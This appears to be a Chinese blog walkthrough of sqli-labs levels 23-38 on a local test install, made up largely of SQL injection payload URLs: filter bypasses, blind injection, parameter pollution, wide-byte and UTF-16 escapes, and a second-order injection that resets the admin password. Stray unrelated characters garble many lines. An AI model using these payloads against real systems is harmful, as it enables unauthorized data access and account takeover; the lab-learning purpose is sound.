Sqli-labs實(shí)驗(yàn)Task2(less23-38)
Less-23
進(jìn)入實(shí)驗(yàn)頁(yè)面可以看到又回到了最開(kāi)始的類(lèi)型,我們嘗試一下有沒(méi)有注入。
判斷是否存在注入:
$ http://127.0.0.1/sqli-labs-master/Less-23/?id=1’
根據(jù)報(bào)錯(cuò)可以知道是使用單引號(hào)閉合的惨寿,繼續(xù)測(cè)試。
猜測(cè)字段數(shù):
$ http://127.0.0.1/sqli-labs-master/Less-23/?id=1' order by 1 -- #
但是發(fā)現(xiàn)無(wú)論怎樣都報(bào)錯(cuò)了糜颠,顯示語(yǔ)句有錯(cuò)誤熊榛,猜測(cè)并經(jīng)過(guò)后面的源代碼查看可知是代碼將—和#的注釋和轉(zhuǎn)義了,所以才會(huì)出錯(cuò)蒙袍,這個(gè)時(shí)候我們就只能對(duì)后面剩余的單引號(hào)進(jìn)行閉合了俊卤。
敏感信息獲取:
$ http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,user(),3 and '1'='1
這個(gè)比較簡(jiǎn)單害幅,過(guò)濾了注釋符號(hào)我們只需要注意閉合后面的單引號(hào)就行了
Less-24
這個(gè)是一個(gè)登陸界面的注入測(cè)試消恍,首先看到和之前有一些不一樣,下面有忘記密碼和新用戶(hù)注冊(cè)以现,忘記密碼的頁(yè)面一般是存在注入可能性比較高的地方狠怨,去這個(gè)頁(yè)面試試 :
這……這樣子啊。還有一個(gè)注冊(cè)界面叼风,可以直接注冊(cè)一個(gè)賬號(hào)取董。
我們嘗試在登陸界面進(jìn)行注入測(cè)試,發(fā)現(xiàn)無(wú)法成功无宿,很可能注入的點(diǎn)不在這茵汰。這個(gè)實(shí)驗(yàn)的題目叫做Second Degree injection,二次注入孽鸡,思考思考蹂午,問(wèn)題肯定沒(méi)這么簡(jiǎn)單栏豺,我們先注冊(cè)一個(gè),然后登陸試試豆胸。
成功登陸后竟然還有修改密碼的功能奥洼,放這里肯定沒(méi)有,既然外面不能注入晚胡,那么很有可能在這里注入了灵奖。Have a try!
額估盘,經(jīng)過(guò)一些測(cè)試瓷患,發(fā)現(xiàn)還是不能注入,那么問(wèn)題出在哪里呢遣妥?
進(jìn)行代碼審計(jì)看一下源代碼:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
可以看到在pass_change.php這個(gè)文件里面沒(méi)有對(duì)傳入的username進(jìn)行過(guò)濾擅编。這樣子,我們理一下思路箫踩,如果我們新注冊(cè)一個(gè)用戶(hù)名叫admin’ #然后我們登錄了更改密碼是不是就可以把a(bǔ)dmin 的密碼改了呢爱态?繼續(xù)嘗試一下。
登錄之后更改密碼為123境钟,然后登出锦担。然后用admin和123登錄。成功吱韭!
這個(gè)實(shí)驗(yàn)的思路特別巧妙吆豹,基本沒(méi)有代碼審計(jì)的話(huà)很難會(huì)找到注入的點(diǎn),所以沒(méi)有及其敏感的意識(shí)很難找到漏洞理盆。
Less-25
這個(gè)題很簡(jiǎn)單痘煤,我們一進(jìn)頁(yè)面就可以看到,告訴我們所以得or和and不能被使用猿规,應(yīng)該都被過(guò)濾了衷快。這樣有過(guò)一點(diǎn)經(jīng)驗(yàn)的朋友一定很快就反應(yīng)過(guò)來(lái),這很簡(jiǎn)單了姨俩,繞過(guò)這種注釋的方法有很多蘸拔,比如編碼轉(zhuǎn)換或者大小寫(xiě),雙寫(xiě)繞過(guò)等环葵,我們來(lái)試試看调窍。
檢查注入猜字段:
$ http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ order by 3 #
可以看到連order by里面的or都被過(guò)濾了。我們?cè)囋嚧笮?xiě)繞過(guò)张遭,發(fā)現(xiàn)不行邓萨,試試雙寫(xiě)繞過(guò):
$ http://127.0.0.1/sqli-labs-master/Less-25/?id=1’ oorrder by 3 -- #
哈哈,可以,這樣就很簡(jiǎn)單了缔恳!后面的過(guò)程就都差不多了宝剖。
Less-25a
這個(gè)和上一個(gè)差不多,也是提示or和and被過(guò)濾了歉甚。就是沒(méi)有報(bào)錯(cuò)万细,試試雙寫(xiě)繞過(guò):
$ http://127.0.0.1/sqli-labs-master/Less-25a/?id=1 oorrder by 3 -- #
成功執(zhí)行,試試敏感信息獲取:
$ http://127.0.0.1/sqli-labs-master/Less-25a/?id=0 union select user(),database(),1 -- #
可以看到成功獲取了纸泄,這里和上一個(gè)差不多赖钞,用的or和and的時(shí)候雙寫(xiě)繞過(guò)就行。這個(gè)和上一個(gè)不一樣的地方就在于這里是盲注刃滓,沒(méi)有報(bào)錯(cuò)仁烹,上一個(gè)可以根據(jù)報(bào)錯(cuò)判斷一些東西耸弄。
Less-26
這一次也是一樣咧虎,我們的空格和注釋不能用了,空格和注釋被過(guò)濾了计呈。試試用%20替換砰诵,發(fā)現(xiàn)也不行。注釋也被過(guò)濾了那用注釋繞過(guò)空格也不行了捌显。換其他繞過(guò)方法試試茁彭。
測(cè)試過(guò)程中發(fā)現(xiàn)or和and還是繼續(xù)被過(guò)濾所以記得雙寫(xiě)。
試試?yán)美ㄌ?hào)繞過(guò)的盲注:
$ http://127.0.0.1/sqli-labs-master/Less-26/?id=1'anandd(ascii(mid(user(),1,1))=114)anandd'1'='1
成功繞過(guò)扶歪!這個(gè)是利用括號(hào)來(lái)繞過(guò)空格執(zhí)行sql語(yǔ)句的方法理肺,一般使用于盲注,可以看到我選擇的是user用戶(hù)名的第一個(gè)字符r的ascii碼剛好對(duì)于114善镰,成功輸出妹萨。如果后面的條件不成立就不輸出,這樣就可以盲注啦炫欺。注意雙字節(jié)繞過(guò)or和and乎完。因?yàn)樽⑨屢脖贿^(guò)濾了,所以也要注意對(duì)后面的引號(hào)進(jìn)行閉合品洛。
Less-26a
這個(gè)也是一樣過(guò)濾了注釋和空格树姨。這個(gè)和上個(gè)差不多只是把報(bào)錯(cuò)給過(guò)濾了,使我們看不到報(bào)錯(cuò)桥状,不過(guò)對(duì)于盲注來(lái)說(shuō)這沒(méi)有太大的影響帽揪,我們使用上一個(gè)的語(yǔ)句依舊可以注入!
Less-27
這一次更狠辅斟,union和select被過(guò)濾了转晰。經(jīng)過(guò)簡(jiǎn)單的測(cè)試我們發(fā)現(xiàn),這次沒(méi)有過(guò)濾and,or挽霉,但過(guò)濾了空格和注釋防嗡。
簡(jiǎn)單的測(cè)試一下:
$ http://127.0.0.1/sqli-labs-master/Less-27/?id=1' and '1'='1
成功的,那么對(duì)于過(guò)濾了union和select侠坎。但是發(fā)現(xiàn)union雙寫(xiě)可以繞過(guò)蚁趁,select雙寫(xiě)不行,但是大小寫(xiě)能繞過(guò)实胸,那就很簡(jiǎn)單了他嫡,和之前的注入差不多:
$ http://127.0.0.1/sqli-labs-master/Less-27/?id=1'and(ascii(mid(user(),1,1))=114)and'1'='1
語(yǔ)句和之前的差不多,主要是繞過(guò)空格的庐完,而遇到有select和union的語(yǔ)句只需要大小寫(xiě)繞過(guò)就可以了钢属!
Less-27a
原本以為這個(gè)和上個(gè)差不多,但是發(fā)現(xiàn)執(zhí)行語(yǔ)句:
$ http://127.0.0.1/sqli-labs-master/Less-27a/?id=1'and(ascii(mid(user(),1,1))=1144)and'1'='1
返回正常顯示id=1的數(shù)據(jù)门躯,無(wú)論我ascii的值輸入多少都顯示這個(gè)頁(yè)面淆党。
測(cè)試后發(fā)現(xiàn)這個(gè)閉合時(shí)雙引號(hào)。換成語(yǔ)句:
$ http://127.0.0.1/sqli-labs-master/Less-27a/?id=1"and(ascii(mid(user(),1,1))=114)and"1"="1
其他的和之前都差不多讶凉。
Less-28
這一次可以根據(jù)頁(yè)面提示看到union和select被過(guò)濾了染乌。
嘗試猜測(cè)閉合:
$ http://127.0.0.1/sqli-labs-master/Less-28/?id=1')and('1')=('1
正常返回說(shuō)明單引號(hào)閉合。且存在注入懂讯,過(guò)濾空格荷憋,注釋。
獲取數(shù)據(jù):
$ http://127.0.0.1/sqli-labs-master/Less-28/?id=1')and(ascii(mid(user(),1,1))=114)and('1')=('1
和27差不多褐望。只是閉合方式不同
Less-28a
這里只有union和select被過(guò)濾勒庄,其他的都沒(méi)被過(guò)濾。這個(gè)就更簡(jiǎn)單了瘫里,只需要繞過(guò)union和select就足夠了实蔽,參考上面幾個(gè)很容易就可以成功注入。
隨便給一個(gè)例子:
$ http://127.0.0.1/sqli-labs-master/Less-28a/?id=0') unionunion select select user(),database(),1 and ('1')=('1
環(huán)境配置說(shuō)明(less29-32)
這四個(gè)實(shí)驗(yàn)使用到waf减宣,基本原理可以看一下網(wǎng)上的一些博客盐须,大多都有詳細(xì)說(shuō)明,比如:http://www.cnblogs.com/lcamry/p/5762961.html漆腌。
因?yàn)槲沂褂玫氖莗hpstudy贼邓,所以也大概說(shuō)一下我是如何配的。
- 下載tomcat闷尿,解壓就行塑径。
- 將tomcat-files.zip解壓到tomcat服務(wù)器webapp/ROOT目錄下,并將29,30,31里的跳轉(zhuǎn)url改為我們自己的填具。每個(gè)人不同统舀,比如我的跳轉(zhuǎn)url設(shè)置的是http://127.0.0.1/sqli-labs-master/Less-29/index.php?id=1匆骗。32里面要設(shè)置數(shù)據(jù)庫(kù)的連接密碼。
- 下載安裝好java環(huán)境誉简,可在cmd輸入javac測(cè)試碉就。
- 將下載的mysql-connector-java.jar文件放到tomcat解壓文件夾的lib文件夾中
- 點(diǎn)擊tomcat/bin/startup.bat文件啟動(dòng)tomcat就可以啦。彈出的jar文件不能關(guān)掉闷串,不然不能訪問(wèn)tomcat了瓮钥。
然后我們就可以通過(guò)訪問(wèn)(tomcat默認(rèn)開(kāi)啟8080端口)tomcat目錄里面的四個(gè)實(shí)驗(yàn)進(jìn)行測(cè)試了!
Less-29
可以看到這里頁(yè)面提示是是使用了世界上最強(qiáng)大的waf烹吵,廢話(huà)不多說(shuō)我們之間進(jìn)行挑戰(zhàn)看一看碉熄。
首先判斷閉合情況:
$ http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=1'
稍微解釋一下,因?yàn)槲覀兪莟omcat和apache兩重的服務(wù)器端的肋拔,所以我們需要進(jìn)行兩個(gè)id的傳參锈津,那么如果前后兩個(gè)傳遞的不相等會(huì)怎么樣呢?
如果是id=1&id=2凉蜂,那會(huì)顯示什么呢琼梆?
apache(php)解析最后一個(gè)參數(shù),即顯示id=2的內(nèi)容跃惫。Tomcat(jsp)解析第一個(gè)參數(shù)叮叹,即顯示id=1的內(nèi)容。
此處應(yīng)該是id=2的內(nèi)容爆存,因?yàn)闀r(shí)間上提供服務(wù)的是apache(php)服務(wù)器,返回的數(shù)據(jù)也應(yīng)該是apache處理的數(shù)據(jù)蝗砾。
那么繼續(xù)測(cè)試先较,我們使用單引號(hào)進(jìn)行閉合了,看看頁(yè)面相應(yīng):
已經(jīng)很明顯就知道是單引號(hào)閉合了悼粮。
后面其實(shí)就很簡(jiǎn)單了闲勺,獲取敏感信息:
$ http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=0' union select 1,user(),database() -- #
很容易獲取,但是雖然看著很簡(jiǎn)單扣猫,我們進(jìn)行代碼審計(jì)可以看到菜循,這是因?yàn)閖sp代碼中只對(duì)tomcat的傳參進(jìn)行了過(guò)濾,并沒(méi)有對(duì)后面apache傳入的進(jìn)行防范申尤,所以很容易就成功了癌幕。
其他的可以自己構(gòu)造語(yǔ)句進(jìn)行測(cè)試。
Less-30
這個(gè)和上個(gè)差不多昧穿,只不過(guò)把報(bào)錯(cuò)屏蔽了勺远,把閉合換成了雙引號(hào)。
$ http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=0" union select 1,user(),database() -- #
其他可自己繼續(xù)進(jìn)行測(cè)試时鸵。
Less-31
依舊差不多胶逢,有錯(cuò)誤提示,閉合是雙引號(hào)加括號(hào)。
$ http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=0") union select 1,user(),database() -- #
Less-32
這一次不一樣了初坠,試了很多閉合發(fā)現(xiàn)依舊正常返回和簸,第一個(gè)反應(yīng)就是不是第二個(gè)傳參,而是第一個(gè)傳參碟刺,所以對(duì)第一個(gè)進(jìn)行測(cè)試:
$ http://127.0.0.1:8080/sqli-labs/Less-32/index.jsp?id=1') -- #&id=1
多試幾次便可知道閉合方式是單引號(hào)加括號(hào)比搭。
敏感信息獲取:
$ http://127.0.0.1:8080/sqli-labs/Less-32/index.jsp?id=1') union select 1,user(),database() -- #&id=1
突然發(fā)現(xiàn)這里還沒(méi)有限制輸出南誊。身诺。。
Less-33
回到之前的apache的服務(wù)器的實(shí)驗(yàn)鏈接抄囚。
首先觀察一下新的挑戰(zhàn)的頁(yè)面的提示多了一行霉赡。上面一行是我們的傳參,下面一行是我們輸入的十六進(jìn)制編碼之后的數(shù)幔托,我們可以用hackbar進(jìn)行hex encode看看1編碼之后就是31穴亏。
閉合測(cè)試:
$ http://127.0.0.1/sqli-labs-master/Less-33/?id=1'
果然,被過(guò)濾了重挑,那么我們就考慮如何繞過(guò)這個(gè)過(guò)濾嗓化。在之前也遇到這樣的問(wèn)題我們?cè)囍@過(guò)看看。這里是反斜杠過(guò)濾谬哀,可以看到下面的hex編碼是5c刺覆,對(duì)于這個(gè)有著典型的繞過(guò)方法—寬字節(jié)注入。
大概說(shuō)一說(shuō)這個(gè)寬字節(jié)注入史煎。我們的mysql在使用gbk編碼的時(shí)候會(huì)將兩個(gè)字符看成一個(gè)漢字(前一個(gè)字符的ascii碼必須大于128才能到漢字的范圍)谦屑。所以這個(gè)時(shí)候如果我們構(gòu)造一個(gè)如下的:
$ http://127.0.0.1/sqli-labs-master/Less-33/?id=1%df%27
就會(huì)報(bào)錯(cuò)!
可以看到報(bào)錯(cuò)出現(xiàn)一個(gè)亂碼篇梭,因?yàn)閙ysql不支持那個(gè)中文字符氢橙。同時(shí)后面的單引號(hào)也逃逸出來(lái)了,這就是因?yàn)閙ysql將%df%5c兩個(gè)字符當(dāng)成一個(gè)漢字來(lái)看恬偷,我們就繞過(guò)來(lái)這個(gè)反斜杠了悍手。想要了解更多可以google寬字節(jié)輸入看看。
敏感信息獲扰刍肌:
$ http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27 union select 1,user(),database() -- #
Less-34
這次又回到了登錄框的注入坦康。
隨便一個(gè)萬(wàn)能密碼試試:
果然,又是反斜杠過(guò)濾了协怒,這里是post的傳參涝焙,要過(guò)濾反斜杠,參考上面的孕暇。因?yàn)樯厦媸莡rl傳參仑撞,所以可以用url編碼構(gòu)造寬字節(jié)繞過(guò)赤兴,但這里是post,我們是否可以構(gòu)造其他的編碼來(lái)繞過(guò)反斜杠呢隧哮?
這里我們使用另一種構(gòu)造:將utf-8轉(zhuǎn)換為utf-16或 utf-32進(jìn)行過(guò)濾反斜杠桶良。我們通過(guò)網(wǎng)上的工具,將utf-8的單引號(hào)轉(zhuǎn)換成utf-16的:將'轉(zhuǎn)為utf-16為?'沮翔,然后我們就可以用萬(wàn)能密碼進(jìn)行登錄了陨帆。賬號(hào)填:
$ ?' or 1=1 -- #
密碼隨便填就可以成功登陸啦。
## Less-35
有一個(gè)新挑戰(zhàn)采蚀,嘗試閉合發(fā)現(xiàn)被反斜杠過(guò)濾了疲牵,嘗試寬字節(jié)注入,發(fā)現(xiàn)也不行榆鼠!但是在測(cè)試的時(shí)候我們發(fā)現(xiàn)纲爸,這里的id是沒(méi)有被閉合的。妆够。识啦。。所以直接就可以注入神妹!
``` bash
$ http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,user(),database() -- #
這個(gè)比較簡(jiǎn)單颓哮,不要想多了。
Less-36
這個(gè)和上面的差不多:
$ http://127.0.0.1/sqli-labs-master/Less-36/?id=0%df%27 union select 1,user(),database() -- #
寬字節(jié)注入鸵荠。
結(jié)合上面的我們也可以利用utf-16進(jìn)行注入:
$ http://127.0.0.1/sqli-labs-master/Less-36/?id=0%EF%BF%BD%27 union select 1,user(),database() -- #
Less-37
這個(gè)和34的差不多,用戶(hù)填:
$ ?' or 1=1 -- #
密碼隨便填就可以成功登陸冕茅,原理和34差不多。只不過(guò)源碼部分用不同的函數(shù)過(guò)濾腰鬼。
Less-38
emmmmmm這個(gè)也很簡(jiǎn)單:
$ http://127.0.0.1/sqli-labs-master/Less-38/?id=0' union select 1,user(),database() -- #
基本都在前面出現(xiàn)過(guò)嵌赠。
part2的部分也結(jié)束了,會(huì)盡快把后面的也寫(xiě)上來(lái)的熄赡!